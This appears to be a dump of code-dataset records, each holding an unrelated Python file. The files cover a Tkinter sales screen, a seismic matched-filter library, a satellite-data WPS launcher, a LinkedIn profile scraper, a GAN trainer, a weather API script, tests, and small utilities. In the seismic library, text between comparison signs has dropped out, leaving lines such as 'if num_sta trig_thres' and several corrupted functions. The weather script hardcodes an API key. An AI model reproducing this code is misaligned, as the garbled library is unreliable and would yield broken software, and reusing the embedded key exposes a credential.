1)\n\n self.quantity = Label(self.TopsDireitaMeio, text='Quantidade', font='arial 15 bold', fg='black')\n self.quantity.place(x=10, y=180)\n return self.quantity_e\n\n def somarItens(self, *args):\n self.a = 0\n self.b = float(self.a) + float(self.pF)\n\n print(self.b)\n return self.b\n\n\n\n\n def limpar(self, *args, **kwargs):\n self.entrada.delete(0, END)\n\n def exit(self, *args, **kwargs):\n self.master.destroy()\n\n\n\n\nroot = Tk()\n\nd = telaPdv(root)\n\nroot.geometry(\"1350x750+0+0\")\nroot.title(\"SISTEMA DE VENDAS\")\nroot.configure(background='orange')\n\nroot.mainloop()","sub_path":"BKP/PDV1alter.py","file_name":"PDV1alter.py","file_ext":"py","file_size_in_byte":8206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"632663329","text":"\"\"\" Basic modules of MESS\n\"\"\"\nimport os, time\nfrom scipy.signal import correlate\nimport numpy as np\nimport config\n\n# MESS params\ncfg = config.Config()\nmin_sta = cfg.min_sta\nfreq_band = cfg.freq_band\nsamp_rate = cfg.samp_rate\ntemp_win_p = [int(samp_rate * win) for win in cfg.temp_win_p]\ntemp_win_s = [int(samp_rate * win) for win in cfg.temp_win_s]\npick_win_p = [int(samp_rate * win) for win in cfg.pick_win_p]\npick_win_s = [int(samp_rate * win) for win in cfg.pick_win_s]\namp_win = [int(samp_rate * win) for win in cfg.amp_win]\nexpand_len = int(samp_rate * cfg.expand_len)\ndet_gap = int(samp_rate * cfg.det_gap)\nchn_p = cfg.chn_p\nchn_s = cfg.chn_s\ntrig_thres = cfg.trig_thres\n\n\ndef mess_det(temp_pick_dict, data_dict):\n \"\"\" MESS detection (main)\n Input\n temp, norm_temp, dt_list = temp_pick_dict[net_sta]\n data, norm_data = data_dict[net_sta]\n Output\n dets = [det_ot, det_cc]\n *note: det_ot is in relative sec\n \"\"\"\n t=time.time()\n # get batch input\n data_list, temp_list, dt_ot_list = [], [], []\n for net_sta, [temp, norm_temp, dt_list] in temp_pick_dict.items():\n if net_sta not in data_dict: continue\n data, norm_data = data_dict[net_sta]\n data_list.append([data.numpy(), norm_data.numpy()])\n temp_list.append([temp[0].numpy(), norm_temp[0].numpy()])\n dt_ot_list.append(dt_list[0])\n dt_ot_list = np.array(dt_ot_list)\n num_sta = len(data_list)\n if num_sta trig_thres\n cc_mat = cc_mat[cc_cond]\n dt_ot_list = dt_ot_list[cc_cond]\n num_sta = len(cc_mat)\n if num_sta data_np.shape[-1]: continue\n data_p = data_np[:, tp0 - p_range[0] : tp0 + p_range[1]]\n data_s = data_np[:, ts0 - s_range[0] : ts0 + s_range[1]]\n # 1. pick by cc\n cc_p = [calc_cc(data_p[i], temp[1][i], norm_temp=norm_temp[1][i]) for i in chn_p]\n cc_s = [calc_cc(data_s[i], temp[2][i], norm_temp=norm_temp[2][i]) for i in chn_s]\n cc_p = np.mean(cc_p, axis=0)\n cc_s = np.mean(cc_s, axis=0)\n # [tp, ts], [dt_p, dt_s] (relative sec), & [cc_p, cc_s]\n tp_idx = tp0 + np.argmax(cc_p) - pick_win_p[0]\n ts_idx = ts0 + np.argmax(cc_s) - pick_win_s[0]\n tp, ts = tp_idx/samp_rate, ts_idx/samp_rate\n dt_p, dt_s = (tp_idx-tp0)/samp_rate, (ts_idx-ts0)/samp_rate\n cc_p_max, cc_s_max = np.amax(cc_p), np.amax(cc_s)\n # 2. get amplitude\n data_amp = data_np[:, tp_idx-amp_win[0] : ts_idx+amp_win[1]]\n if data_amp.shape[1]ndata: return [0]\n if not norm_temp:\n norm_temp = np.sqrt(np.sum(temp**2))\n if len(norm_data)==0:\n data_cum = np.cumsum(data**2)\n norm_data = np.sqrt(data_cum[ntemp:] - data_cum[:-ntemp])\n cc = correlate(data, temp, mode='valid')[1:]\n cc /= norm_data * norm_temp\n cc[np.isinf(cc)] = 0.\n cc[np.isnan(cc)] = 0.\n return cc\n\n# 1. matched filter (calc cc traces)\ndef match_filter(data_list, temp_list):\n num_sta = len(data_list)\n cc_mat = []\n for i in range(num_sta):\n data, norm_data = data_list[i]\n temp, norm_temp = temp_list[i]\n cc_i = calc_cc(data[0], temp[0], norm_data[0], norm_temp[0])\n cc_i += calc_cc(data[1], temp[1], norm_data[1], norm_temp[1])\n cc_i += calc_cc(data[2], temp[2], norm_data[2], norm_temp[2])\n cc_i /= 3\n cc_mat.append(cc_i)\n return np.array(cc_mat)\n\n# 2. expand peak value in CC trace\ndef expand_cc(cc):\n trig_idxs = np.where(cc>trig_thres)[0]\n slide_idx = 0\n for trig_idx in trig_idxs:\n if trig_idx < slide_idx: continue\n cc_trig = cc[trig_idx : trig_idx+2*expand_len]\n cc_max = np.amax(cc_trig)\n idx_max = trig_idx + np.argmax(cc_trig)\n idx_0 = max(0, idx_max - expand_len//2)\n idx_1 = idx_max + expand_len//2\n cc[idx_0:idx_1] = cc_max\n # next trig\n slide_idx = trig_idx + expand_len + det_gap\n return cc\n\n# 3. shift time shift to ot\ndef shift_ot(cc_list, dt_ot_list, cc_holder):\n for i,dt_ot in enumerate(dt_ot_list):\n cc_i = cc_list[i][max(0,-dt_ot) : cc_holder.shape[1] - dt_ot]\n cc_holder[i][max(0,dt_ot) : max(0,dt_ot) + len(cc_i)] = cc_i\n return cc_holder\n\n# 4. detect on stacked cc trace\ndef det_cc_stack(cc_stack):\n det_idxs = np.where(cc_stack>trig_thres)[0]\n slide_idx = 0\n dets = []\n for det_idx in det_idxs:\n if det_idx < slide_idx: continue\n # det ot (rel sec)\n cc_det = cc_stack[det_idx : det_idx+2*expand_len]\n cc_max = np.amax(cc_det)\n det_ot = (det_idx + np.median(np.where(cc_det == cc_max)[0])) / samp_rate\n dets.append([det_ot, cc_max]) \n # next det\n slide_idx = det_idx + expand_len + det_gap\n return dets\n\n# get S amplitide\ndef get_s_amp(velo):\n # remove mean\n velo -= np.reshape(np.mean(velo, axis=1), [velo.shape[0],1])\n # velocity to displacement\n disp = np.cumsum(velo, axis=1)\n disp /= samp_rate\n return np.amax(np.sum(disp**2, axis=0))**0.5\n\n# write detection to catalog\ndef write_ctlg(det_ot, det_cc, temp_name, temp_loc, out_ctlg):\n out_ctlg.write('{0},{1},{2[1]},{2[2]},{2[3]},{3:.3f}\\n'.format(temp_name, det_ot, temp_loc, det_cc))\n\n# write phase picks to phase file\ndef write_pha(det_ot, det_cc, temp_name, temp_loc, picks, out_pha):\n out_pha.write('{0},{1},{2[1]},{2[2]},{2[3]},{3:.3f}\\n'.format(temp_name, det_ot, temp_loc, det_cc))\n for pick in picks:\n # net_sta, tp, ts, dt_p, dt_s, s_amp, cc_p, cc_s\n out_pha.write('{0[0]},{0[1]},{0[2]},{0[3]:.2f},{0[4]:.2f},{0[5]},{0[6]:.3f},{0[7]:.3f}\\n'.format(pick))\n\n","sub_path":"mess_lib.py","file_name":"mess_lib.py","file_ext":"py","file_size_in_byte":7365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"368258389","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport logging\nimport requests\nimport base64\nimport time\nimport re\nimport xml.etree.ElementTree as ET\n\nREGXEP_WPS_ID = re.compile(\"report\\-.*\\.\")\n\ndef get_amalthee_url(opensearch_request):\n \"\"\"\n Construit la requête de lancement d'AMALTHEE\n :param opensearch_request:\n :return:\n \"\"\"\n opensearch_request_b64 = base64.b64encode(opensearch_request)\n request = \"http://peps-vizo.cnes.fr:8081/cgi-bin/pywps.cgi?request=execute&\" \\\n \"service=WPS&version=1.0.0&identifier=AMALTHEE&datainputs=opensearch_request=\" + \\\n opensearch_request_b64 + \"&status=true&storeExecuteResponse=true\"\n return request\n\ndef get_status_url(wps_id):\n \"\"\"\n Construit la requête de mise à jour du rapport json\n :param wps_id: identifiant WPS de l'instance AMALTHEE\n :return: chaîne de caractère représentant la requête complète\n \"\"\"\n request = \"http://peps-vizo.cnes.fr:8081/cgi-bin/pywps.cgi?request=execute&service=WPS&\" \\\n \"version=1.0.0&identifier=STATUS&\" \\\n \"datainputs=wps_id=\" + wps_id + \"&status=false&storeExecuteResponse=false\"\n return request\n\ndef get_json_url(wps_id):\n request = \"http://peps-vizo.cnes.fr:8081/wps/outputs/report-\" + wps_id + \".json\"\n return request\n\n\nif __name__ == \"__main__\":\n '''\n Ce code permet de lancer la commande WPS de rapatriement des données PEPS dans le tampon cluster\n '''\n # Description :\n # 1) Encodage de la requête opensearch en base64\n # 2) Appel au service WPS AMALTHEE avec comme argument la requête encodée\n # 3) Analyse du XML de sortie pour récupérer :\n # - l'ID WPS,\n # - le lien vers le rapport JSON\n # 4) Affichage du lien et de la commande à exécuter pour mettre à jour le rapport\n\n # Récupération des arguments\n description = \"Lance la requête WPS qui permet de faire une recherche Opensearch de \" \\\n \"produits PEPS et de les rapatrier vers le cluster HAL dans le répertoire\" \\\n \"/work/OT/peps/products/\"\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument(\"request\", type=str, help=\"Requête Opensearch ou identifiant WPS\")\n parser.add_argument(\"-l\", \"--logs\", help=\"Fichier de destination des logs\")\n args = parser.parse_args()\n\n # Définition de la sortie de log\n logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO, filename=args.logs)\n\n if args.request[0:4] == \"http\":\n # Lancer AMALTHEE web service => job sur le cluster\n url_amalthee = get_amalthee_url(args.request)\n logging.debug(\"Requête URL : {}\".format(url_amalthee))\n request_amalthee = requests.get(url_amalthee)\n logging.debug(request_amalthee.text)\n\n if request_amalthee.status_code != 200:\n raise Exception(\"Request error : {}\".format(str(request_amalthee.status_code)))\n\n # Trouver statusLocation\n xml_amalthee = ET.fromstring(request_amalthee.text)\n status_location = xml_amalthee.attrib[\"statusLocation\"]\n\n # Attente de deux secondes pour que WPS renvoie un statut correct\n # et trouver le rapport json\n time.sleep(2)\n request_status = requests.get(status_location)\n xml_status = ET.fromstring(request_status.text)\n json_report = xml_status[2][0][2].attrib[\"href\"]\n\n # Affichage du rapport\n wps_id = REGXEP_WPS_ID.findall(json_report)[0][7:-1]\n print(\"Le rapport d'exécution est visible à l'adresse : {}\".format(json_report))\n print(\"Pour le mettre à jour, lancer la commande :\")\n print(\"python launch_amalthee.py {}\".format(wps_id))\n else:\n request_status = requests.get(get_status_url(args.request))\n if request_status.status_code != 200:\n raise Exception(\"Request error : {}\".format(str(request_status.status_code)))\n else:\n if \"Failed\" in request_status.text:\n raise ValueError(\"L'ID WPS {} n'est pas connu\".format(args.request))\n print(\"Le fichier json a été mis à jour.\")","sub_path":"launch_amalthee.py","file_name":"launch_amalthee.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"294311357","text":"import re\n\n\ndef get_repeat() :\n repeat = input('Do you want to repeat? Y/N ')\n if repeat.upper() == 'Y' or repeat.lower() == 'yes' or repeat == '' :\n return True\n else:\n print(\"Goodbye!\")\n return False\n\n\ndef get_int(msg):\n n = input(msg)\n while not bool(re.match(r'^[+-]?[\\d\\s]+$', n)):\n n = input(msg)\n return n\n\n\ndef get_float(msg):\n n = input(msg)\n while not bool(re.match(r'^[+-]?[\\d\\s].+$', n)):\n n = input(msg)\n return float(n)\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"14002150","text":"from errors_handler import error_browser_handler\nfrom os import path\nfrom get_info import transform_text\nfrom difflib import SequenceMatcher\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.common.exceptions import TimeoutException\nfrom bs4 import BeautifulSoup\n\nclass SearchNewUsers:\n users = []\n\n\n def __init__(self, browser, site_link, search_by_words):\n browser.get(path.join(site_link, 'mynetwork'))\n try:\n WebDriverWait(browser, 20).until(\n expected_conditions.presence_of_element_located(\n (By.CLASS_NAME, 'mn-cohort-view--list-item')\n )\n )\n except TimeoutException:\n error_browser_handler(browser, 'Error in loading file.')\n self.browser = browser\n self.search_by_words = search_by_words\n\n\n def users_validate(self, user_desc):\n user_words = user_desc.split(' ')\n for w1 in self.search_by_words:\n for w2 in user_words:\n if SequenceMatcher(None, w1, w2).quick_ratio() > 0.65:\n return True\n return False\n\n\n def connect_users(self, block):\n list = block.find_all('li', 'discover-entity-card discover-entity-card--default-width ember-view')\n for item in list:\n username_tag = item.find('span', 'discover-person-card__name')\n if username_tag:\n username = username_tag.get_text()\n username = transform_text(username)\n\n description = item.find('span', 'discover-person-card__occupation t-14 t-black--light t-normal').get_text()\n description = transform_text(description)\n test_by_desc = description.lower()\n\n user_href = item.find('a', 'ember-view discover-entity-type-card__link')['href']\n if user_href not in self.users and self.users_validate(test_by_desc):\n self.users.append({'username': username, 'user_directory': user_href, 'description': description})\n else:\n print('Block don\\'t found.')\n break\n\n\n def start(self):\n source = BeautifulSoup(self.browser.page_source, 'html.parser').find('div', 'application-outlet')\n blocks = source.find_all('li', 'mn-cohort-view--list-item ember-view', limit=10)\n for block in blocks:\n self.connect_users(block)\n return self.users\n","sub_path":"new_users.py","file_name":"new_users.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"43550080","text":"from model import DCGAN\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\nimport numpy as np\n\n\ndef main():\n z_dim = 100\n num_epoch = 20\n batch_size = 64\n # load data\n sess = tf.Session()\n mnist = input_data.read_data_sets(\"MNIST_data/\")\n # init class and build computational graph\n gan = DCGAN(sess, z_dim=z_dim)\n total_batch = mnist.train.num_examples // batch_size\n for i in range(num_epoch):\n for j in range(total_batch):\n batch_x, _ = mnist.train.next_batch(batch_size)\n batch_x = np.reshape(batch_x, [-1, 28, 28, 1])\n random_noise = np.random.uniform(-1, 1, size=[batch_size, z_dim])\n d_loss, g_loss = gan.train(batch_x, random_noise)\n print(d_loss, g_loss)\n sess.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"580353614","text":"import requests, pprint\n\napi_key = '11c0d3dc6093f7442898ee49d2430d20'\nurl = 'http://api.openweathermap.org/data/2.5/weather'\ncity = input('City: ')\nunits = 'metric'\n\nparams = {\n 'q': city,\n 'units': units,\n 'appid': api_key\n}\n\nresponse = requests.get(url, params=params)\n#print(response.url)\n#print(response.headers['Content-Type'])\ndata = response.json() # return json.loads(response.text)\npprint.pprint(data)\n\nprint(data['main']['temp'])\n\n","sub_path":"openweathermap.py","file_name":"openweathermap.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"182880992","text":"import pytest\n\nfrom game.serializers import AuthMessageSerializer, BadMessage, MessageSerializer, ValidationError\n\n\ndef test_message_serializer():\n\n # arrange & act & assert\n valid_data_0 = '{\"type\": \"\"}'\n valid_data_1 = '{\"type\": \"TYPE_1\", \"payload\": {}}'\n valid_data_2 = '{\"type\": \"TYPE_2\", \"payload\": {\"a\": \"\", \"b\": \"\"}}'\n\n invalid_data_0 = 'lorem'\n invalid_data_1 = '{\"type\": \"\"'\n invalid_data_2 = '{\"a\": \"\", \"b\": \"\", \"payload\": \"\"}'\n invalid_data_3 = '{\"type\": 2, \"payload\": {}}'\n\n m = MessageSerializer(valid_data_0)\n assert m.type == ''\n\n m = MessageSerializer(valid_data_1)\n assert m.type == 'TYPE_1'\n\n m = MessageSerializer(valid_data_2)\n assert m.type == 'TYPE_2'\n\n with pytest.raises(BadMessage):\n MessageSerializer(invalid_data_0)\n\n with pytest.raises(BadMessage):\n MessageSerializer(invalid_data_1)\n\n with pytest.raises(BadMessage):\n MessageSerializer(invalid_data_2)\n\n with pytest.raises(BadMessage):\n MessageSerializer(invalid_data_3)\n\n\ndef test_parse_field():\n\n # arrange\n class FieldSerializer(MessageSerializer):\n field: str\n\n def __init__(self, json_str):\n super().__init__(json_str)\n self._parse_field('field', str)\n\n # act & assert\n valid_data_0 = '{\"type\": \"\", \"payload\": {\"field\": \"123\"}}'\n valid_data_1 = '{\"type\": \"\", \"payload\": {\"field\": \"456\", \"other_field\": 1}}'\n\n invalid_data_0 = '{\"type\": \"\", \"payload\": 2}'\n invalid_data_1 = '{\"type\": \"\", \"payload\": {\"other_field\": 1}'\n invalid_data_2 = '{\"type\": \"\", \"payload\": {\"field\": 1}'\n\n m = FieldSerializer(valid_data_0)\n assert m.field == '123'\n\n m = FieldSerializer(valid_data_1)\n assert m.field == '456'\n\n with pytest.raises(BadMessage):\n FieldSerializer(invalid_data_0)\n\n with pytest.raises(BadMessage):\n FieldSerializer(invalid_data_1)\n\n with pytest.raises(BadMessage):\n FieldSerializer(invalid_data_2)\n\n\ndef test_auth_message_serializer():\n\n # arrange & act & assert\n valid_data_0 = '{\"type\": \"\", \"payload\": {\"username\": \"user_0\"}}'\n valid_data_1 = '{\"type\": \"\", \"payload\": {\"username\": \" user_0 \"}}'\n valid_data_2 = '{\"type\": \"\", \"payload\": {\"username\": \" user 0 \"}}'\n\n invalid_data_0 = '{\"type\": \"\", \"payload\": {\"username\": \"123\"}}'\n invalid_data_1 = '{\"type\": \"\", \"payload\": {\"username\": \" 123 \"}}'\n invalid_data_2 = '{\"type\": \"\", \"payload\": {\"username\": \"1 2\"}}'\n\n AuthMessageSerializer(valid_data_0)\n\n m = AuthMessageSerializer(valid_data_1)\n assert m.username == 'user_0'\n\n m = AuthMessageSerializer(valid_data_2)\n assert m.username == 'user 0'\n\n with pytest.raises(ValidationError):\n AuthMessageSerializer(invalid_data_0)\n\n with pytest.raises(ValidationError):\n AuthMessageSerializer(invalid_data_1)\n\n with pytest.raises(ValidationError):\n AuthMessageSerializer(invalid_data_2)\n","sub_path":"web/tests/test_serializers.py","file_name":"test_serializers.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"84014258","text":"from .tool.func import *\n\ndef func_title_random_2(conn):\n curs = conn.cursor()\n\n curs.execute(\"select title from data order by random() limit 1\")\n data = curs.fetchall()\n if data:\n return redirect('/w/' + url_pas(data[0][0]))\n else:\n return redirect()","sub_path":"route/func_title_random.py","file_name":"func_title_random.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"160581389","text":"#!/usr/bin/python\n\nimport sys\n\ndef climbing_stairs(n, cache=None):\n \n# if n <= 0:\n# return 0\n# elif n == 1:\n# return 1\n# elif n == 2:\n# return 2\n# elif n == 3:\n# return 4\n# else:\n# return climbing_stairs(n - 1) + climbing_stairs(n - 2) + climbing_stairs(n - 3)\n \n # If n is too large, it takes a long time to compute.\n # Want to cache the results of the previous numbers\n \n # Check if cache exists, make one if it doesn't\n # If the cache does contain our number, but it's cached value is 0, then throw the whole cache away - it is incompatible with this algorithm\n# local_cache = cache\n# if local_cache == None or (len(local_cache) > n and local_cache[n] == 0):\n# local_cache = []\n# \n# \n# if n <= 0:\n# return 1\n# elif n == 1:\n# return 1\n# elif n == 2:\n# return 2\n# elif n == 3:\n# return 4\n# else:\n# # Check the cache if value exists at index n \n# if len(local_cache) > n-4:\n# return local_cache[n-4]\n# \n# # The value for a given number of steps seems to be equal to the number of ways you can solve make 1 step and (n-1) steps, make 2 steps and (n-2) steps, or make 3 steps and (n-3) steps\n# value = climbing_stairs(n - 1, cache = local_cache) + climbing_stairs(n - 2, cache = local_cache) + climbing_stairs(n - 3, cache = local_cache)\n# local_cache.append(value)\n# return value\n \n if n <= 0:\n return 1\n elif n == 1:\n return 1\n elif n == 2:\n return 2\n elif n == 3:\n return 4\n else:\n local_cache = cache\n if local_cache == None:\n local_cache = [0 for i in range(n+1)]\n \n # Check the cache if value exists at index n\n cached_value = local_cache[n]\n if cached_value != 0:\n return cached_value\n \n # The value for a given number of steps seems to be equal to the number of ways you can solve make 1 step and (n-1) steps, make 2 steps and (n-2) steps, or make 3 steps and (n-3) steps\n value = climbing_stairs(n - 1, cache = local_cache) + climbing_stairs(n - 2, cache = local_cache) + climbing_stairs(n - 3, cache = local_cache)\n local_cache[n] = value\n return value\n \n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n num_stairs = int(sys.argv[1])\n print(\"There are {ways} ways for a child to jump {n} stairs.\".format(ways=climbing_stairs(num_stairs), n=num_stairs))\n else:\n print('Usage: climbing_stairs.py [num_stairs]') ","sub_path":"climbing_stairs/climbing_stairs.py","file_name":"climbing_stairs.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"167769235","text":"\"\"\"Backend Service\"\"\"\nimport operations\nfrom jsonrpclib.SimpleJSONRPCServer import SimpleJSONRPCServer\n\nSERVER_HOST = 'localhost'\nSERVER_PORT = 4040\n\n#use this funtion for testing\ndef add(num1, num2):\n \"\"\" Add two numbers. \"\"\"\n print(\"add is called with %d and %d\" % (num1, num2))\n return num1 + num2\n\ndef get_one_news():\n \"\"\" Get one news. \"\"\"\n print(\"getOneNews is called\")\n return operations.get_one_news()\n\ndef get_news_summaries_for_user(user_id, page_num):\n \"\"\"Get news summuaries for a user with user_id and page number\"\"\"\n print(\"get_news_summaries_for_user is called with %s and %s\" % (user_id, page_num))\n return operations.getNewsSummariesForUser(user_id, page_num)\n\ndef log_news_click_for_user(user_id, news_id):\n print(\"log_news_click_for_user is called with %s and %s\" % (user_id, news_id))\n operations.logNewsClickForUser(user_id, news_id)\n\n#Threading RPC Server \nRPC_SERVER = SimpleJSONRPCServer((SERVER_HOST, SERVER_PORT))\n#expose the addAPI. map add function to'add' API\nRPC_SERVER.register_function(add, 'add')\nRPC_SERVER.register_function(get_one_news, 'getOneNews')\nRPC_SERVER.register_function(get_news_summaries_for_user, 'getNewsSummariesForUser')\nRPC_SERVER.register_function(log_news_click_for_user, 'logNewsClickForUser')\nprint(\"Starting RPC server on %s: %d\" %(SERVER_HOST, SERVER_PORT))\n\nRPC_SERVER.serve_forever()\n\n ","sub_path":"backend_server/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"292231546","text":"\"\"\"\n高德经纬度转百度经纬度\n\"\"\"\nimport math\n\nx_pi = 3.14159265358979324 * 3000.0 / 180.0\npi = 3.1415926535897932384626 # π\na = 6378245.0 # 长半轴\nee = 0.00669342162296594323 # 偏心率平方\n\n\ndef gd_to_bd(lng, lat):\n \"\"\"\n 火星坐标系(GCJ-02)转百度坐标系(BD-09)\n 高德——>百度\n :param lng:高德坐标经度\n :param lat:高德坐标纬度\n :return:\n \"\"\"\n z = math.sqrt(lng * lng + lat * lat) + 0.00002 * math.sin(lat * x_pi)\n theta = math.atan2(lat, lng) + 0.000003 * math.cos(lng * x_pi)\n bd_lng = z * math.cos(theta) + 0.0065\n bd_lat = z * math.sin(theta) + 0.006\n return [bd_lng, bd_lat]\n\n\ndef bd_to_gd(bd_lon, bd_lat):\n \"\"\"\n 百度坐标系(BD-09)转火星坐标系(GCJ-02)\n 百度——>高德\n :param bd_lat:百度坐标纬度\n :param bd_lon:百度坐标经度\n :return:转换后的坐标列表形式\n \"\"\"\n x = bd_lon - 0.0065\n y = bd_lat - 0.006\n z = math.sqrt(x * x + y * y) - 0.00002 * math.sin(y * x_pi)\n theta = math.atan2(y, x) - 0.000003 * math.cos(x * x_pi)\n gg_lng = z * math.cos(theta)\n gg_lat = z * math.sin(theta)\n return [gg_lng, gg_lat]\n\n\nif __name__ == '__main__':\n # 高德转百度\n baidu_lng, baidu_lat = gd_to_bd(87.351218, 43.947248)\n print(baidu_lng, baidu_lat)\n # 百度转高德\n gaode_lng, gaode_lat = bd_to_gd(baidu_lng, baidu_lat)\n print(gaode_lng, gaode_lat)\n","sub_path":"lib/translate_lat_lng.py","file_name":"translate_lat_lng.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"65894878","text":"import numpy as np\r\n\r\ndef lsqcomponents(V,K,L,alpha,weights, regtype = 'tikh',huberparam = 1.35):\r\n# ==============================================================================================\r\n\r\n # Prepare\r\n nr = np.shape(K)[1]\r\n\r\n # Compute residual terms\r\n KtV = weights*K.T@V\r\n KtK = weights*K.T@K\r\n\r\n def optimizeregterm(fun,threshold):\r\n # ============================================================================\r\n P = np.zeros(nr)\r\n for _ in range(maxIter):\r\n Pprev = P\r\n # Compute pseudoinverse and unconst. distribution recursively\r\n KtKreg_ = KtK + alpha**2*fun(P)\r\n P = P + np.linalg.solve(KtKreg_,weights*K.T@V)\r\n \r\n # Normalize distribution by its integral to stabilize convergence\r\n P = P/np.sum(abs(P))\r\n # Monitor largest changes in the distribution\r\n change = np.max(abs(P - Pprev))\r\n # Stop if result is stable\r\n if change < threshold:\r\n break\r\n # Compute the regularization term from the optimized result\r\n regterm = fun(P)\r\n return regterm\r\n # ============================================================================\r\n\r\n # Compute then the LSQ components needed by NNLS optimizers \r\n if regtype.lower() == 'tikh' or regtype.lower() == 'tikhonov':\r\n regterm = L.T@L\r\n \r\n elif regtype.lower() == 'tv':\r\n maxIter = 500\r\n changeThreshold = 1e-1\r\n TVFcn = lambda p: L.T@((L/np.sqrt((L@p)**2 + np.finfo(float).eps)[:,np.newaxis]))\r\n regterm = optimizeregterm(TVFcn,changeThreshold)\r\n \r\n elif regtype.lower() == 'huber':\r\n maxIter = 500\r\n changeThreshold = 1e-2\r\n HuberFcn = lambda p: 1/(huberparam**2)*(L.T@(L/np.sqrt((L@p/huberparam)**2 + 1)[:,np.newaxis]))\r\n regterm = optimizeregterm(HuberFcn,changeThreshold)\r\n else:\r\n raise ValueError(\"Regularization type not found. Must be 'tikh', 'tv' or 'huber'\")\r\n\r\n KtKreg = KtK + alpha**2*regterm\r\n\r\n \r\n return KtKreg, KtV\r\n# ==============================================================================================\r\n\r\n\r\n","sub_path":"deerlab/lsqcomponents.py","file_name":"lsqcomponents.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"63929650","text":"import cv2\nimport numpy as np\nimport re\n\nclass ObjDetect:\n # Pretrained classes in the model\n _labels = None\n _model = None\n _thresold = 0.5\n _jpeg_quality = 95 # OpenCV default value\n\n def __init__(self, pb_file, pbtxt_file, label_file, threshold, jpeg_quality):\n # Load labels\n self._labels = self.load_labels(label_file)\n # Loading model\n self._model = cv2.dnn.readNetFromTensorflow(pb_file, pbtxt_file)\n if jpeg_quality > 0:\n self._jpeg_quality = jpeg_quality\n if threshold > 0:\n self._Thresold = threshold\n \n def load_labels(self, path):\n \"\"\"Loads the labels file. Supports files with or without index numbers.\"\"\"\n with open(path, 'r', encoding='utf-8') as f:\n lines = f.readlines()\n labels = {}\n for row_number, content in enumerate(lines):\n pair = re.split(r'[:\\s]+', content.strip(), maxsplit=1)\n if len(pair) == 2 and pair[0].strip().isdigit():\n labels[int(pair[0])] = pair[1].strip()\n else:\n labels[row_number] = pair[0].strip()\n return labels\n \n def Detect(self, image_bytes, detect_list):\n image = cv2.imdecode(np.frombuffer(image_bytes, dtype=np.uint8), -1)\n image_height, image_width, _ = image.shape\n self._model.setInput(cv2.dnn.blobFromImage(image, size=(300, 300), swapRB=True))\n output = self._model.forward()\n isDetected = False\n for detection in output[0, 0, :, :]:\n confidence = detection[2]\n if confidence > self._thresold:\n class_name = self._labels[detection[1]]\n if class_name in detect_list:\n isDetected = True\n box_x = detection[3] * image_width\n box_y = detection[4] * image_height\n box_width = detection[5] * image_width\n box_height = detection[6] * image_height\n cv2.rectangle(image, (int(box_x), int(box_y)), (int(box_width), int(box_height)), (0, 0, 255), thickness=1)\n cv2.putText(image, class_name,(int(box_x), int(box_height) + 12), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 255)) \n if isDetected is True:\n _, buffer = cv2.imencode('.jpg', image, [int(cv2.IMWRITE_JPEG_QUALITY), self._jpeg_quality])\n return buffer.tobytes()\n return None\n\n\ndef test_ObjDetect():\n objDetect = ObjDetect(\"frozen_inference_graph.pb\", \"frozen_inference_graph.pbtxt\", \"coco_labels.txt\", .5, 80)\n with open(\"sample.jpeg\", \"rb\") as in_file, open(\"result.jpeg\", \"wb\") as out_file:\n detected_image = objDetect.Detect(in_file.read(), objDetect._labels.values())\n if detected_image is not None:\n out_file.write(detected_image)\n\nif __name__ == \"__main__\":\n test_ObjDetect()","sub_path":"smart-motion-opencv/src/obj_detect.py","file_name":"obj_detect.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"76116152","text":"#!/usr/bin/env python\n\nfrom classes.bikewheelfem import *\nimport matplotlib.pyplot as pp\n\n\n# Initialize wheel geometry from wheel files\ngeom = 